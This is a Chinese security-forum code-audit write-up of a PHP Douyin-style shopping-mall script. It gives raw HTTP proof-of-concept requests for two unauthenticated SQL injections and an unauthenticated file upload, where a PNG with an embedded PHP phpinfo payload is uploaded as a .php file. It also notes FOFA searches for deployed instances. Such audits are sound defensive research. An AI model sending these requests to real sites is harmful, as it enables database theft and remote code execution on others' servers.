【PHP代审】某仿抖音商城源码-网络安全论坛-网络安全-阻击者联盟

【PHP代审】某仿抖音商城源码

免责声明
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
文章目录
项目介绍
环境搭建
代码审计
    项目分析
        鉴权分析
        前台文件寻找
    前台SQL注入
        第一处
        第二处
    前台任意文件上传RCE
最后

 

项目介绍

本源码是目前抖音、快首直播带货下单的热门商城网站!搭建即可上传商品进行带货下单!

无需注册登录即可看到网站内的商品和价格,进行付款购买,让客户能更快速的找到自己所需要的商品!

源码后台功能齐全,上传管理商品,查询订单状态,可以设置分站,可以提现!

FOFA结果:

d2b5ca33bd20250428083400

 

环境搭建

源码获取见文末

我本地采用小皮面板搭建,对应配置

d2b5ca33bd20250428083411

 

修改数据库配置文件并创建数据库导入sql文件

数据库配置文件:Mao/common.php

SQL文件:数据库.sql

然后要改数据库中mao_data表中url或url1的域名为小皮面板配置域名

d2b5ca33bd20250428083418

 

然后访问即可

d2b5ca33bd20250428083427

 

不然会出现下面界面

d2b5ca33bd20250428083445

 

代码审计

项目分析

d2b5ca33bd20250428083505

 

通过项目结构判断为非框架项目

鉴权分析

抓个后台登入数据包,分析登入方法

d2b5ca33bd20250428083515

 

根据路由定位文件

d2b5ca33bd20250428083544

 

 

验证用户账户密码是否正确,创建$session,等于md5($user.$pass.$password_hash),这里$password_hash变量我没找到来源,然后创建$token,等于authcode(“{$user}\t{$session}”, ‘ENCODE’, SYS_KEY),这里加入了个SYS_KEY作为密钥,我也找到在哪获取,最后设置cookie内容就是$token,这里貌似没用随机值,要伪造的话得知道登入账户密码还有$password_hash和SYS_KEY,就可以伪造,但是$password_hash和SYS_KEY找不到在哪…

前台文件寻找

寻找鉴权关键词

d2b5ca33bd20250428083555

d2b5ca33bd20250428083603

 

发现是这个,使用脚本筛选为鉴权文件

前台SQL注入

项目对query进行了封装

d2b5ca33bd20250428083616

 

搜这几个方法就行,大部分文件参数接收都使用daddslashes做了转义

d2b5ca33bd20250428083625

 

但是还是有没有的

第一处

对应文件:api/data.php

d2b5ca33bd20250428083637

 

第36行使用count执行sql语句,这个是项目封装的query(),跟一下就知道,语句中有和$sql,$sql从16行到30行定义,这里29行语句中拼接了$search,发现这个是通过GET直接传的,要满足$lx=2,$lx也是GET直接传的,那么这里没用过滤方法,存在注入

构造数据包

 

GET /api/data.php?mod=list&lx=2&search=123* HTTP/1.1
Host: fadoyimall:9936
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Referer: http://fadoyimall:9936

sqlmap结果

d2b5ca33bd20250428083825

 

第二处

对应文件:goods.php

d2b5ca33bd20250428083839

 

这代码就不用我多说了吧

sqlmap

d2b5ca33bd20250428083848

 

前台任意文件上传

全局搜索关键词move_uploaded_file

d2b5ca33bd20250428083858

 

就一处直接看代码

对应文件:api/api.php

d2b5ca33bd20250428083907

 

这里代码中只校验了文件的MIME,没有校验上传文件的后缀,导致任意文件上传,并且这个文件没有鉴权,无需登入就可以触发

测试数据包

POST /api/api.php?mod=upload&type=1 HTTP/1.1
Host: fadoyimall:9936
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj9kzKEO8pPvGcAXJ
Origin: http://fadoyimall:9936
Accept-Language: zh-CN,zh;q=0.9
X-Requested-With: XMLHttpRequest
Referer: http://fadoyimall:9936/Mao_admin/Mao_commodity/add.php
Content-Length: 802
------WebKitFormBoundaryj9kzKEO8pPvGcAXJ
Content-Disposition: form-data; name="file"; filename="ELOG.php"
Content-Type: image/png
{{unquote("\x89PNG\x0d\x0a\x1a\x0a\x00\x00\x00\x0dIHDR\x00\x00\x00\x10\x00\x00\x00\x10\x04\x03\x00\x00\x00\xed\xdd\xe2R\x00\x00\x000PLTE\xfc\xfe\xfcS\x12\x28\x1a^/\xb9\xb6\xc5\x8d\x17\x29\xa4\xa7P\x0a\x0f\xb4r\x7dX\xac\xa3\xc6\xd7\xd3\xbf\xaaz~\x87\x92\x94i=<\x7fWY4:\xc4L\x86\\\x88\x00\x89X\x00\x00\x00VIDAT\x08\xd7c`@\x02\x1c\x06PF[2\x94\x91\x96\x07el\xaf\x862Xaj\<?php phpinfo();?>xd8\x03\xa0\x8c\x85\xc2P\x86\xa0\x0c\x84f\x16\x14\x9c\x00fL?\x28\x13\xc9\xc9\xc0\xc0\xa4\xa4\xda\x7b#\xd4e\x01\x90Q\xc0\xc0\xc0\xe5\xe2\x00dl\x00*s\x11`\xe0W\x02\x19\xb7\xd6\x00\xee\x04\x00\x1a\xe5\x0d\x92\xba\xf2\xba\xb3\x00\x00\x00\x00IEND\xaeB`\x82")}}
------WebKitFormBoundaryj9kzKEO8pPvGcAXJ--

d2b5ca33bd20250428083938

访问文件

d2b5ca33bd20250428083957

原文链接:

【PHP代审】某仿抖音商城源码

请登录后发表评论

    没有回复内容